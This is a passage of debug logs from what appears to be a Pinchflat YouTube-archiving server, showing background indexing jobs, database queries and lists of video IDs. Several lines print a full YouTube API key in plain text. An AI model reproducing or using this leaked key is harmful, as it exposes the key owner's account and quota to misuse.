short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [11] 17:05:00.313 [debug] QUERY OK source="tasks" db=0.1ms idle=239.9ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [5268376, 11, ~U[2026-10-09 22:05:00Z], ~U[2026-10-09 22:05:00Z]] 17:05:00.313 [info] {"args":{"id":11},"id":5268336,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":241425,"event":"job:stop","queue_time":487372,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:05:00.430 [info] {"source":"oban","duration":135,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:05:00.488 [debug] QUERY OK source="media_items" db=0.8ms idle=174.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [26, "h8rgsImRHuQ", "via0_wvzUZY", "DlwsK8hvmO4", "ex6jvnGa9uA", "aLoq_GYrI68", "TObpBJWbl1A", "WXKsP_yYwhE", "HtSsvOpSyT0", "tin9fSraDwI", "wOslLkkRVp8", "5OtS03t-3UM", "0ulic7lyghc", "aY5wQ0nDIgs", "SnNcKZSBZuI", "b_abz1qNqqQ", "re2Y9BQYVm8", "sOwFK6y93XE", "g8DhxTnzy6E", "MAeBbZHStLQ", "b1EwE57OgkI", "BgGXKzxTyRM", "ssaMKXWmYNc", "0-Ib3bm0hr0", "QegdQJxT3wg", "FHrR9JuUmSs", "MkzJIvNqVqI", "yPycoAY64gM", "GLzG9pPai0Q", "_tIXugC9I6Q", "ZLc88XpOidI", "5iGbp98gGIg", "OK3pGLT71jI", "v6nDYccHGL4", "kn6GYMTASUM", "N3LSKJlOFN8", "qg8TRfwmlbQ", "P1bfNN_qQWQ", "VdWHQYgG_jo", "6LzK3lEKkGE", "JJ_mw6lB3JU", "ZcmJFcMBm9w", "dlFQrYB5wKw", "nPbCi4t4NkA", "8asBU46CygQ", "yQArIsKTw5U", "1x2IhzNuxm4", "nxjWJIgvoOQ", "nlgL1IJXtoU", "lxxWezu1R48", ...] 17:05:00.489 [debug] QUERY OK source="media_items" db=0.7ms idle=175.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [26] 17:05:00.490 [debug] QUERY OK source="tasks" db=0.1ms idle=59.2ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [5268377, 26, ~U[2026-10-09 22:05:00Z], ~U[2026-10-09 22:05:00Z]] 17:05:00.490 [info] {"args":{"id":26},"id":5268337,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":418167,"event":"job:stop","queue_time":373344,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:05:01.073 [info] {"args":{"id":30},"id":5268338,"meta":{},"system_time":1791583501073544032,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:05:01.073 [info] {"args":{"id":8},"id":5268339,"meta":{},"system_time":1791583501073586191,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:05:01.073 [debug] QUERY OK source="sources" db=0.1ms idle=583.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [30] 17:05:01.074 [debug] QUERY OK source="sources" db=0.1ms idle=583.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [8] 17:05:01.074 [debug] QUERY OK source="settings" db=0.0ms idle=577.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:05:01.074 [debug] QUERY OK source="settings" db=0.1ms idle=6.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:05:01.074 [debug] QUERY OK source="media_profiles" db=0.2ms idle=0.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:05:01.074 [debug] QUERY OK source="media_profiles" db=0.1ms idle=0.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:05:01.074 [debug] QUERY OK source="settings" db=0.0ms idle=0.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:05:01.074 [debug] Fetching recent media IDs from YouTube API for playlist: UU81hVmI5eEBIt3s3HQpJd_w 17:05:01.074 [debug] QUERY OK source="settings" db=0.0ms idle=0.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:05:01.074 [debug] Fetching recent media IDs from YouTube API for playlist: UU0KfjyvabuE2J-RBC6ko2Lw 17:05:01.074 [debug] QUERY OK source="settings" db=0.1ms idle=0.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:05:01.074 [debug] QUERY OK source="settings" db=0.0ms idle=0.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:05:01.074 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:05:01.074 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:05:01.182 [debug] QUERY OK source="media_items" db=0.4ms idle=107.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [30, "NeOhV4zOxJ4", "kpRGNxqv6Wk", "5XWEVoI40sE", "ObOqq1knVxs", "1Rx_p3NW7gQ", "xHotXbGZiFY", "k1BneeJTDcU", "ZIljQn1x7jw", "rYy0o-J0x20", "iE5WwlwJeDQ", "nt9c0UeYhFc", "dQTZVnDE2Qw", "ejc5zic4q2A", "QCVGpvzcHko", "Zxc20saM8DA", "L2rPEiWDbgo", "Eo9pU1q8sy8", "dcLFmN7aJe0", "6hCQLEIWadk", "iuF6CpML3IQ", "tqbziT3ZaY8", "yO5vFJLc7M0", "KBICg--AKdM", "YlMg9XgBDW0", "PpypHPzkeRU", "9Fg-dQxQOEs", "2z0RxTEJRkc", "eeO7COzVWnk", "W0quDfpfRUQ", "Z-ap5Fp2T6c", "obIGsb-IZMo", "2LzgYWCgkZk", "7uvXsgSI-n4", "0tQxKp351QQ", "MboeozTBgD8", "Z5UCZt20la8", "EtkDpYlySRM", "6B4Lrl9pdAA", "LZoO8LyizLA"] 17:05:01.183 [debug] QUERY OK source="media_items" db=0.2ms idle=108.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [30] 17:05:01.183 [debug] QUERY OK source="tasks" db=0.1ms idle=108.8ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [5268378, 30, ~U[2026-10-09 22:05:01Z], ~U[2026-10-09 22:05:01Z]] 17:05:01.184 [info] {"args":{"id":30},"id":5268338,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":110370,"event":"job:stop","queue_time":504936,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:05:01.306 [debug] QUERY OK source="media_items" db=0.7ms idle=122.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [8, "8eWLi8Sm0H4", "cz-4H9vUEk4", "wobociFUM1E", "Za9PGELm5UQ", "79OTRGiCElE", "7oA7zyIxBkk", "H_D7GXUeHGo", "x57ds5lx_XI", "LlEL2Hb1VtQ", "4wgW-Fxbf4M", "NQaWtBdlwqI", "NfIuDxt-IyI", "gv__3ei1qb4", "4Pv9afb1HsY", "fSTBcDfNAGk", "b5thWhoEJUc", "11JEyjWPKkM", "abIWwY51RX8", "C8rTYj_jC4A", "xQvQH0GH6GM", "UAF_AGEOMRw", "aq13trnsgq4", "oVsMfMH9D6A", "h4KqzaZnx5U", "gosW702fFg4", "FbZAce_ZO1o", "8FHuMjmBgMQ", "BDjocv-3EKQ", "JT5RkjpgC10", "dtJtrmgl0hA", "ghAuHlrirkg", "VWT-wWxS_zM", "R1-leCEWNy8", "T6hkupYbkFI", "9buHzRb-N7A", "I39f2i-2NCo", "oi0XARbmQeI", "aV8p8MPHnGc", "NmN8sgnz5d0", "INd_nlbLedE", "TFCRLLeCjL0", "PDANwfuB79Q", "5XAh1nDOI6c", "BjhiYa0KsSM", "R4Q1HuXDa6o", "ik_hSkKT0OA", "uCsFBIlEybE", "tPssrCriHkE", "Dhn7oLQPyYI", ...] 17:05:01.307 [debug] QUERY OK source="media_items" db=0.4ms idle=123.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [8] 17:05:01.308 [debug] QUERY OK source="tasks" db=0.1ms idle=118.3ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [5268379, 8, ~U[2026-10-09 22:05:01Z], ~U[2026-10-09 22:05:01Z]] 17:05:01.308 [info] {"args":{"id":8},"id":5268339,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":235025,"event":"job:stop","queue_time":326570,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:05:02.075 [info] {"args":{"id":34},"id":5268340,"meta":{},"system_time":1791583502075289948,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:05:02.075 [debug] QUERY OK source="sources" db=0.1ms idle=766.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [34] 17:05:02.075 [debug] QUERY OK source="settings" db=0.1ms idle=766.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:05:02.076 [debug] QUERY OK source="media_profiles" db=0.0ms idle=760.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:05:02.076 [debug] QUERY OK source="settings" db=0.0ms idle=7.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:05:02.076 [debug] Fetching recent media IDs from YouTube API for playlist: UU6iWKC08iw9K-R6Wh5pbZNQ 17:05:02.076 [debug] QUERY OK source="settings" db=0.0ms idle=1.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:05:02.076 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:05:02.313 [debug] QUERY OK source="media_items" db=1.0ms idle=236.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [34, "vi-cAZvD08s", "N8b_JrkIrFA", "_C82HmWXOHU", "CMt516aquG4", "ZKjWOV_XX9s", "d4oDnYq99GM", "twsawZkIW30", "4-uV8bXI-3I", "MkbjGfPsqOs", "3IK96Cvv4Xw", "hXcwGoM5Pdk", "TMXlLYjFhM4", "O3OTzFBpCz8", "6_dgTAazOpQ", "XfgkEI70ycc", "YbFc28Y7tRU", "EwlIKSA-Q9o", "TwZXPWxr7xc", "EDhRsprneR0", "MFm1EYcMUzw", "1nOQUJRYKMQ", "U1TjlDmDwMQ", "JgFsGozkIdM", "HHWpREejF3E", "Qvl-cwj4sMA", "OqUS5j6MZqg", "FI7U_i9rvK8", "_w0m6l0VB1w", "5S-b--SGYzU", "WSO46GKHVqM", "5UPsu6NftAM", "3JQanAa2Nks", "koZAl2eR0uc", "MYsZBQBEyH8", "g5d6Wc6d9zQ", "62_eib3AXak", "rpQOl4GgqcU", "6VXR5DN717U", "rubXAQS9nK8", "-da0DmLmZ0c", "89Lpe1IkOo4", "gWE6ciTaGpQ", "zfkT5P6jOYg", "n-7fOF9NmRo", "PSOlfw1a7wY", "K0G5S7C6XIE", "eYE9Py0LE3Y", "_KePakgcsnE", "lHECiTguosg", ...] 17:05:02.314 [debug] QUERY OK source="media_items" db=1.0ms idle=237.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [34] 17:05:02.315 [debug] QUERY OK source="tasks" db=0.1ms idle=239.0ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [5268380, 34, ~U[2026-10-09 22:05:02Z], ~U[2026-10-09 22:05:02Z]] 17:05:02.315 [info] {"args":{"id":34},"id":5268340,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":240291,"event":"job:stop","queue_time":278068,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:05:03.076 [info] {"args":{"id":33},"id":5268341,"meta":{},"system_time":1791583503076310269,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:05:03.076 [debug] QUERY OK source="sources" db=0.1ms idle=760.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [33] 17:05:03.076 [debug] QUERY OK source="settings" db=0.1ms idle=760.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:05:03.077 [debug] QUERY OK source="media_profiles" db=0.1ms idle=754.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:05:03.077 [debug] QUERY OK source="settings" db=0.1ms idle=6.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", 